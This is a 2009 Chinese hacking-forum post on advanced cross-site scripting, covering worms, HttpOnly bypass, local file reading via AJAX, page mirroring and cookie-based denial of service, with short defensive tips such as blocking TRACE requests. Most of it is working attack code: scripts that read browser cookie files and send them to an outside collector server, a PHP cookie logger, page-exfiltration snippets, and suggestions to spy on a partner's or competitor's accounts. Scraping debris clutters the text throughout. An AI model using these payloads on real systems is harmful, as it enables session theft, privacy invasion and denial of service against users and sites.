XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
7 n) ]+ x8 w5 G本帖最后由 racle 于 2009-5-30 09:19 编辑

1 s$ j  p7 |1 OXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
$ v" {4 d/ R7 `+ R3 U3 x8 J9 Q; Ihttp://bbs.tian6.com/thread-12711-1-1.html
9 p$ A* ?7 d. I5 ?转帖请保留版权

; u, |2 m0 T! f- I

-------------------------------------------前言---------------------------------------------------------
% z2 Q6 g6 s: N, ^3 J

2 ~  V, `# H. ?2 E6 |; m# D8 N5 D7 a本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
" n7 w9 W* c$ W! b# t

如果你还未具备基础XSS知识,以下几个文章建议拜读:
1 v) V2 y/ u2 q2 lhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
1 d  \7 h' I- G8 U3 Whttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
# o8 t8 c; c/ H+ I, n+ X8 _http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
. g( W7 r1 W9 O+ t" T, _! @% B



; h& h, B+ b. g/ F5 C$ U+ R6 V如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
9 Z$ Z( f6 T4 E) A6 u
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
8 K* p( n/ V( Q; W0 F" \1 L* t7 K
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

# Z% d# P0 j# p/ IBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
+ F" d& r% T5 W0 e( G  S2 W% e
+ H+ s7 i5 a; k6 {4 \  IQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
  b# o& \; L+ o1 D  h) S复制代码------------------------------------------介绍-------------------------------------------------------------
; F+ z& @; I! A# n! ^$ {
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
! e( h; Q2 ^  B' `
. N7 ?% n% h5 I; v

' Q  s& d) W; ~( W/ ^  \+ X/ I跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
) H9 J% [* N7 v2 K  q. U5 h


# {' g1 ~# F1 v$ Y9 G: f2 u如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
% }' N# |# w  ]复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
# w* X$ d3 P$ ^/ y- f3 N
1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
6 O: E& s0 [6 j6 G
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
0 V7 ~; f7 G/ b* s9 D& P+ B# W
1 M) {4 i' v. G4 B4 L2 J# f

3 G1 P  ~( U/ t, H8 ]4 r1 l------------------------------------------研究正题----------------------------------------------------------
1 u1 I, @8 C1 i

# Z/ h1 Q1 g6 V8 s) ^
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
! f8 u7 x0 b& r2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
1 I; Z  W' Q) G4 }/ y4:Http-only可以采用作为COOKIES保护方式之一.

4 P4 L( J0 A8 C# y1 `1 z) D
1 b- I' F: J0 ]) I
- i3 r0 @$ N0 }0 j8 o

9 H  D% N, `$ ~# U# c9 b. ?(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
  X3 @9 I# H' u  Z2 X
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



, i+ O$ Y5 j1 i9 t- S$ y7 t    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

- P. {1 H/ n5 `9 z
0 h/ Y4 {. k6 n0 n9 n9 e8 i* {
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
# Z9 M- H3 ]" a' e4 t, N复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
0 z7 Q% f' B% i- S
( o& K" {; L# [

    function ajax_obj(){

    var request = false;
$ D0 M7 `! r! y, v
    if(window.XMLHttpRequest) {
% K4 A  |2 [5 j" c
- y( y, A3 W3 L# d( N) `7 m    request = new XMLHttpRequest();
( o3 `7 g6 H! n4 }
    } else if(window.ActiveXObject) {
0 E( d! |- M" X& b
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


7 Q2 v% y& o: m0 M
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  a0 @0 S( ?6 F0 v9 ~6 ^: V
    for(var i=0; i<versions.length; i++) {
% a$ S) N' u. f7 |
: P# @3 {$ [7 }    try {

9 k# q8 |6 z/ p! l    request = new ActiveXObject(versions);

    } catch(e) {}

8 @" k1 h; U' s6 r% a; t    }
( ]( A+ {+ }; t$ O, L
    }
" N6 c7 G1 g8 f" U3 h* s" L. i
/ d7 u6 D& T& o9 |; g9 Q& a2 @    return request;
6 j+ t" }% S2 ^  s# X5 @8 Q" e
% m1 K5 S( i) v# f) k: A. V, l/ o    }

    var _x = ajax_obj();
2 ~2 K: O7 b7 I6 @
5 B; ?( f$ l; T* }6 J( Z    function _7or3(_m,action,argv){

, K6 `) l3 G$ W; ~1 F    _x.open(_m,action,false);
4 U( W1 Q0 e* J# N
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
) z8 K  P. x. }
. f1 |. K2 Z) U6 D    _x.send(argv);
, G* n9 E0 ~, L
    return _x.responseText;
  _: w) |% {( ?$ D+ d; Z! }/ b
    }


- y/ A# [# E4 n- N' B
& ?: P* e, O! N    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
# e# k. W7 X% x+ }9 l

1 a/ @: K: r# @! s5 e
    </script>
& c5 L9 h7 |/ I+ |: _+ p复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

3 C+ B% g% m  l" m    function $(x){return document.getElementById(x)}



0 j( P7 b4 J6 W& d    function ajax_obj(){

    var request = false;

3 ?. C# _% `, e: g    if(window.XMLHttpRequest) {
! `9 L& I. O* k( r
- d9 o1 O- \' w; G: P% M" P. E: ~    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
0 @( t6 @9 a* p& C0 ~
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
8 A- Z4 D) @6 ~' e# T3 V/ T1 J


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
  n$ o, V: i, m2 Q- z4 z+ H2 [
    try {

    request = new ActiveXObject(versions);

. b$ L1 k3 P. O( T# N4 c    } catch(e) {}

* l9 O6 s& T6 m- m    }

    }

. s( m" t* q0 c9 `    return request;
' A! X6 k+ z2 e6 Z' r
3 T! ]) p7 G8 G) f3 _( {    }

    var _x = ajax_obj();

- V  k! L, X, Y( [- ]+ I    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

( R9 v3 P, e1 X, D    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
+ r* L0 q2 M" l8 w7 Q8 p
    _x.send(argv);

' ?+ Y( o6 V7 m& T$ `" V, o    return _x.responseText;

    }


% |4 F+ t; u" ~& q/ z
    var txt=_7or3("GET","1/11.txt",null);

2 G, a: f  E) P    alert(txt);
/ i7 R& B6 C7 s6 Y
9 G" K4 j" }8 ?. J. e$ I

9 U, H: k9 [( }* N5 ^    </script>
* Q& |8 p9 L- U3 v+ R1 I复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

$ Z- i  V; G, E; N) F, g- _$ M
0 a; F& b  g- ^- M4 {' F+ j( @
  S+ M/ K8 G! fChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
; L8 w9 L$ v5 s8 ^, f" A
3 x, a8 n0 x2 f9 p7 \
9 U, y/ H# Z! \5 O) I/ C0 X
<?   
+ V  Z# p2 ~4 _" x
: W2 t( v$ L( ^8 C. D6 D0 L/*  
1 P% _9 x% g% Z: F# C' j9 S
, Z  }1 D0 i3 h4 I* z1 p1 R     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
8 H0 ^+ {9 U* I) K' c- F" i$ |
) J7 [3 c# Z( {     www.inbreak.net   
$ R" B& M% k: h, }; N& }: x
     author voidloafer@gmail.com 2009-4-22   
, \+ N6 s5 W/ r% Z
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
+ D) i8 m! @; V$ [
*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

- e8 {! s5 v% {& s: dheader("Content-type: application/kxlzx");   
, `( \" u8 ~6 V% f; l7 ?
/*  
$ Q: L: P, m" ]+ ~5 B- `. [$ N
     set header, so just download html file,and open it at local.  

*/  
  R" e8 z/ M1 {: [8 V6 Y0 |; R
, j  a% u' U- l% D- Q?>   

% V2 G" N; F  `+ G  N* Q' s8 }<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   

<script>   

% f$ |# l. h( h9 o) nfunction doMyAjax(user)   
  u9 ~! F+ W$ J& H4 E* A6 l1 h
4 H1 Z# C: X5 e; ?% \( O{   

: m# _* p1 M) y( Svar time = Math.random();   

/*  

' N2 K/ @4 D' Z8 S  T& Vthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

/ d; D) @' `9 k  Xand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
/ N- J; X7 t1 p! t: s
6 ?4 e: U- R3 d6 Yand so on...  

5 C( Y/ B3 @% `. e# {1 ?5 k* |6 R2 L*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
+ _: |. W& A) I" y0 y
   
  v$ _- U! S) g
/ {/ u, r) ~$ W4 Y& ?8 j( i7 |/ PstartRequest(strPer);   



- ]$ j9 P) M* r}   

8 L! T1 K" }) K# |+ K   

/ b  j) h/ |4 n2 F. m- H8 Kfunction Enshellcode(txt)   
0 O( e# z; x- ?3 f" a
$ D! ?, ~$ M& V; Z+ N1 W, r$ {5 p{   

var url=new String(txt);   

var i=0,l=0,k=0,curl="";   
# E; h2 i) m' v, x' j
. v: I! H. k. ?# w( |0 Yl= url.length;   
+ H: q/ t8 c( g9 g  P
. i! d; V2 v, L8 U6 R1 Ifor(;i<l;i++){   
# c! k+ ?( C* H5 i# X
+ [) G2 P' p3 c% k+ r  v: R0 [& R; Ok=url.charCodeAt(i);   
9 D3 O' P% b% d" k# L4 \
' h( N& b  f( }5 l- `9 gif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
  p& D7 c. P- t# l
if (l%2){curl+="00";}else{curl+="0000";}   

4 s5 x' p$ \6 X8 n0 ^+ qcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
. o  ~9 O( ~' M$ l
return curl;   
% a# Y6 ~: W1 Z8 p
}   

   

9 Z7 p9 u- U6 V& n! i   
2 B4 W- k- w: S* M, k+ a! |) h* r$ l
var xmlHttp;   
: g+ \2 P' w' Q2 Z" Z
: ~( V, e+ @( {* w% D- e4 \& Jfunction createXMLHttp(){   
' m! p' t4 c$ t
3 z7 o) a6 |: k3 m5 l     if(window.XMLHttpRequest){   

! u7 n$ z! @/ z1 r9 ~! P$ TxmlHttp = new XMLHttpRequest();           
$ b  d" Z) S  Q, X; l
5 q8 T( {. Y" D! q% R, `     }   
) {0 t3 n; M9 n( j9 @7 M
     else if(window.ActiveXObject){   

3 [& P( {$ J2 y3 \xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

  H6 G( C; ^0 \4 P     }   
2 v/ o9 ^$ Q- r6 T" ]
/ E: V9 S1 w$ R+ b8 b}   
0 B! n! h% n5 y- o; N* f
, U5 ^1 o+ m0 ~  k2 H   
" i' `$ u% Y# v9 i/ X+ l" b# c2 D
! M8 `3 n% p2 H2 Hfunction startRequest(doUrl){   

8 U+ _) n6 L7 P: y: {) N   
6 q- @6 u% A% {
3 G; m4 @4 S/ e+ w     createXMLHttp();   


+ W% Y0 O$ w, [+ {$ R* k" M& K- {2 |8 p
     xmlHttp.onreadystatechange = handleStateChange;   


& F% i- A6 X: C6 T# i
9 X6 w6 l' \9 f+ \. V     xmlHttp.open("GET", doUrl, true);   
! w8 q, X( I6 p& E0 ~7 h" P

- s) u5 ~* c9 N1 `1 v
- t. D4 W4 W0 ]4 h     xmlHttp.send(null);   
7 V- z! Y4 n- H8 Y1 D5 z5 m3 c
2 z7 l( w  i, z4 @3 X6 w
/ p" Z& a; c' p# \  r


9 k( Y, |, v; D0 f7 s  H8 Y}   
& b6 x1 u! I2 v" j
   

4 ?7 u" ^- p; P" J% D+ Ofunction handleStateChange(){   
: [) P) c: \+ X' A
     if (xmlHttp.readyState == 4 ){   
" d6 ?& h- V3 q9 f+ V
     var strResponse = "";   
; a+ k4 d) J3 h1 G* i
; x0 S) ?  c  B, a( d# p     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
% x. L0 \( R: J
        
* Q. |. J! B( e! k
) U) B( }! b" _7 I% I( j) a8 n+ h; u- P     }   

/ D; X2 y" E4 v+ y1 k4 p$ V7 v}   
+ Z( t) Y" b! t
2 z& ^: ~, m* |" c  q   
( `3 e! P: j* u" I, f' s
   
- o8 `9 `) B9 c9 D
function framekxlzxPost(text)   
2 F# F' O7 f1 _/ ~- C% u
- A8 `1 _, N+ J" C3 m& h+ [{   

, u6 W6 M# e4 Y/ y) A: H     document.getElementById("input").value = Enshellcode(text);   

- ?: @  S4 s- X8 e     document.getElementById("form").submit();   

}   

9 s" e" z) ]7 [   

. Z8 }  v9 t5 @6 g9 p& x" \9 VdoMyAjax("administrator");   

0 ?  Y: _( [% K- `( W4 @   
! w) g0 L) |2 K) V- l! L7 P
! J5 l' n8 t/ {1 N# ^5 D</script>
, d8 u7 F& Q+ @8 K5 e, `复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

function createXMLHttp(){  
/ [: ^8 R! i1 M/ l5 n" [: p' `* {
8 k2 x+ _2 U% H  t* ^5 Y     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

     }  

; H5 P2 A: i, \1 k; n8 \     else if(window.ActiveXObject){  
4 M8 @. q2 F& ]* K2 g( E# g# B; k
; t# b* u, y4 P         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
: P+ U, k' M! N
( k# Y9 Z0 Y0 y3 ]) F6 n     }  
2 _0 D  j7 q: y5 o9 B: h6 V
4 N+ u7 A$ R! J& H0 @}  
" N2 W: Q1 D; P9 ]& q# Z2 e
3 `4 o6 @: Y0 D+ Y! T: F" g% k   

! N- a& t" ]+ x% q5 Kfunction startRequest(doUrl){  
% Z- H8 L7 S, I3 r  t3 s
           

     createXMLHttp();  
1 w: r/ R+ N! ^; `- T
      
3 I! B8 V: K; {* {( [
     xmlHttp.onreadystatechange = handleStateChange;  

  l5 h0 S0 s! K! }% V      
4 F" L0 _  a( k  T" y
3 `  X( k' ?  d+ r     xmlHttp.open("GET", doUrl, true);  
+ M4 ~- h3 V# `. t% O( n& n# \* z
      
9 u+ k- E8 f9 D
6 B" Z1 ^- J6 @0 i     xmlHttp.send(null);  
( O% A- s7 I* q4 P7 L
      

$ q2 X% z% M" ^( P      

}   
4 x' I1 T7 I: ]- T& a4 A! @9 u
   

function handleStateChange(){  
  W( r" z$ z+ ~$ V
     if (xmlHttp.readyState == 4 ){  
& ^- E/ q$ s9 p$ @
             var strResponse = "";  
: W* J* f  d: T. X8 k' X3 q
& F5 p6 t0 ^9 J' a             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
: I. n+ h6 x; A$ T. T4 f
: b7 {, v0 U1 _3 h1 K" B               

     }  
1 q5 l9 k- R. d7 D/ B5 x) t
3 i$ J( r& [  P2 s8 P5 z9 B}  
2 X: N) a" A7 f4 {: W. A
   

% G* E. H; D0 I6 y  g( Zfunction doMyAjax(user,file)  
% c  q0 ^) W& l. k' X
4 P2 Y) t' i. ^1 B/ I  i. Y2 ]; |{  

6 V, D$ T3 g* x7 x1 p! }         var time = Math.random();  

           
. M4 F' k9 ~7 [
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
6 M7 u% Z, u4 }+ T$ i& ?9 ?% q
( M5 \5 A8 x/ m           
! o( Y1 F# f5 }8 c' T3 t
         startRequest(strPer);  
2 h8 [3 |2 k. o
6 {* C( W8 e+ Q6 j5 E( K      

* ]) |  G& U3 ^; r, s}  
- L$ U# K5 ?' U+ B% V" C3 j4 k8 M
4 u1 y. x! [- V0 U* c- y2 ~0 \5 ~4 i   

1 }0 ^$ N6 d1 F; S6 M% Ofunction framekxlzxPost(text)  
; z' X2 h6 i" y
! f) Z; m; I# D$ J/ n8 e& [, Z{  
7 }* Q" H! O; ~- t2 Y
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

7 d( s( l. g! w8 ]6 {+ J     alert(/ok/);  

}  
8 K! M$ o( k1 {* S) ?, n
3 n/ A% T/ \; ]   

% `% F9 i$ V- m& A4 DdoMyAjax('administrator','administrator@alibaba[1].txt');  

   

</script>



" D! r( T1 @& M% r4 P, O
3 o$ c. L4 I& M1 Y7 A; w5 }, z
' p6 E+ P* d+ v$ k* L- va.php
' D" q9 e& j3 |
5 s0 k5 V: U, z4 a

<?php      

0 M( E. h0 V4 A9 g1 v   
, I! \& E! t2 I" S  }- n
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
# q" ]9 `" f8 \+ ]& L
: Z( m/ S  l$ n" |$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
9 _) m7 G( V" H9 Y: j8 V4 Z2 Y
  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

* w- n- M6 S$ R! X8 o( }6 A+ ?fwrite($fp,$_GET["cookie"]);      

  x4 O4 D) U. r3 V" K& x& Kfclose($fp);   

& V$ Y' J$ Y( n4 U% c?>
7 z. v! A6 d5 U  J3 U复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
0 j" t4 n( |" q/ z: X2 q3 B
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
% ]5 A8 ?' h. s1 Q& e/ r+ r利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
1 P0 ~& m2 N' b$ @  r* c7 b
  v  X- I9 @6 n6 U$ o! w代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
5 x. O# }& l3 ]' e8 M: G
( N6 P3 y. [9 o: N4 |9 H/ A1 m//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

; w4 m0 @: k1 @" `, `//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
: f1 h8 ?1 m# r" t2 X3 Z9 }& T
function getURL(s) {

var image = new Image();
3 S6 @4 X6 x# ?
. K5 k# N. t) ]3 kimage.style.width = 0;

. ]% ^& w6 w; m7 }5 c' {image.style.height = 0;
' V, @* C/ m, L% z' S7 }
image.src = s;
6 h  R: I4 m  t* K
}
3 y" G0 X9 t$ W
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; r& B0 m; z0 r% b; s复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
; \8 S1 b! Y* ^) a" G这里引用大风的一段简单代码:<script language="javascript">

) H* Q1 b" Y- t" }var metastr = "AAAAAAAAAA"; // 10 A

& M& Y& H6 c7 D2 K: }) zvar str = "";
! R4 Y& U2 @- ~# d
: Y4 W* N6 I4 L: M6 Dwhile (str.length < 4000){
* Q! [, i  z" C7 s! J( f& R9 v
3 Y7 x7 {6 R+ }0 X7 ^    str += metastr;
7 c. U. ]# Y- |5 y
}

/ L+ \* z. s- I! x, U, Z% V; _
! s1 `0 J' z, H/ S" P
) L9 b( c8 l" j, e2 Ndocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
: [0 r% Q: \$ A
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
$ U- t/ B2 ^9 R, t' r6 L# `复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


4 O/ ]5 z* q6 s1 K9 [( g( [

7 C1 l5 ^* W4 [7 S- I  E$ J& b7 k

0 K+ n+ `. H2 w6 a. F(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
: W. \( B2 p+ d6 k, m+ L$ r以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
% \2 I) @. Z: b3 @0 m
- x5 o- f  h1 l, f# F3 C* P5 [function normalCookie() {
% E4 U" n5 T% L$ P, ]7 l& g8 ~5 c
: [/ V' |# Y5 Kdocument.cookie = "TheCookieName=CookieValue_httpOnly";

, G" H7 k/ C2 O" x  Dalert(document.cookie);
. L, p' |9 |/ q/ F- h: o$ Q
2 p# D  x; M! v& |1 B& e+ m}


$ R) ]4 ?7 E$ o( b
; P6 l! k" [, b- G# J

, s7 H6 J. {% T7 l: F5 \function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
5 _* j. p8 G" ~
alert(document.cookie);}
  o. A- I) `: }6 F


//-->

</script>



<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
+ [2 ~. @; Q1 }1 _. C
( m2 p7 g+ l5 K! D% D<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
3 j, j: K# ?$ Z$ o9 D复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



0 ~1 V( J% m* ]! F2 jvar request = false;

        if(window.XMLHttpRequest) {

$ H$ G) }( O7 G4 u, a1 @- o- P3 m% r- r            request = new XMLHttpRequest();
1 K* J# X* K) c2 @  ?4 S& D2 u- U9 x
            if(request.overrideMimeType) {
6 h. V& O/ }- i: [. C- b) i* |4 V/ `
                request.overrideMimeType('text/xml');
9 \( c+ r( U; ?8 g+ u% [
            }
2 P) y, g  U; h( t; M
) q0 C; a* l. m8 |% B( J4 K, x        } else if(window.ActiveXObject) {
/ L; O' H0 E; W# {
$ x1 b; e% k: k4 \* V8 T$ b            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 S! P9 L, R% `! J2 E' ~; e* T4 l
            for(var i=0; i<versions.length; i++) {
  i, q0 ~- x6 p9 m
2 ]/ R' v4 o# A                try {
; ~% D  N+ \2 z3 N
                    request = new ActiveXObject(versions);

7 J5 b2 v7 A! i9 _8 L                } catch(e) {}
  m* m+ m6 W! I( C+ _- o2 c
            }

        }

xmlHttp=request;
5 {2 f3 L& e) p; I8 N; H' X' J# o' V
" N3 {" M9 ]" q8 h( a5 h3 MxmlHttp.open("TRACE","http://www.vul.com",false);

$ g0 H, @( V5 }, t5 H! \: @/ yxmlHttp.send(null);
0 X, B; y6 [+ k( e+ K
# E6 n! F! O' ZxmlDoc=xmlHttp.responseText;

alert(xmlDoc);
1 [+ |6 ^, o0 k* V: g" _* K
</script>
, r) f' a2 ]* ?复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

  _2 y4 m, S! N6 j- f& jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
" [. W! _2 K4 u6 w# {+ _! X- a
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
6 o: ]& o: `3 s) W
& p8 C! |" b) d0 z# GXmlHttp.send(null);
. t2 [, c5 Y* s0 E+ A* |
, H) Z' _- d8 P1 @1 _5 S8 \$ nvar resource=xmlHttp.responseText

; w' u* u  Y3 Gresource.search(/cookies/);

......................
/ O4 i. U7 J9 d+ ^5 p
4 q+ j* C. p6 q8 X. n+ ]</script>

% T7 p% J  T1 @, ?: B

+ F7 Z, o7 u) A) i- ]3 b

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
) i" x+ ]" c* j! y6 J4 _+ w5 j
2 |' v# s  E8 V2 C7 ]3 M[code]
9 Y2 C% }9 s) k
RewriteEngine On
% o, L$ p7 a0 S3 P5 J; f) [, C7 ]) X4 s
! u0 Q$ `4 E6 u3 `RewriteCond %{REQUEST_METHOD} ^TRACE
& ?. \- V# K  [, R& |, ?' v
RewriteRule .* - [F]


6 P6 [) E% g7 _+ V( P
- |* f* v4 e7 MSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
- g& Z. f/ ]5 U1 E
- P$ S0 {1 s- I' y7 zacl TRACE method TRACE

...
6 f1 Y1 o+ v; ?# W0 g2 s
/ l8 b! F: r7 v8 z- O5 A0 Nhttp_access deny TRACE
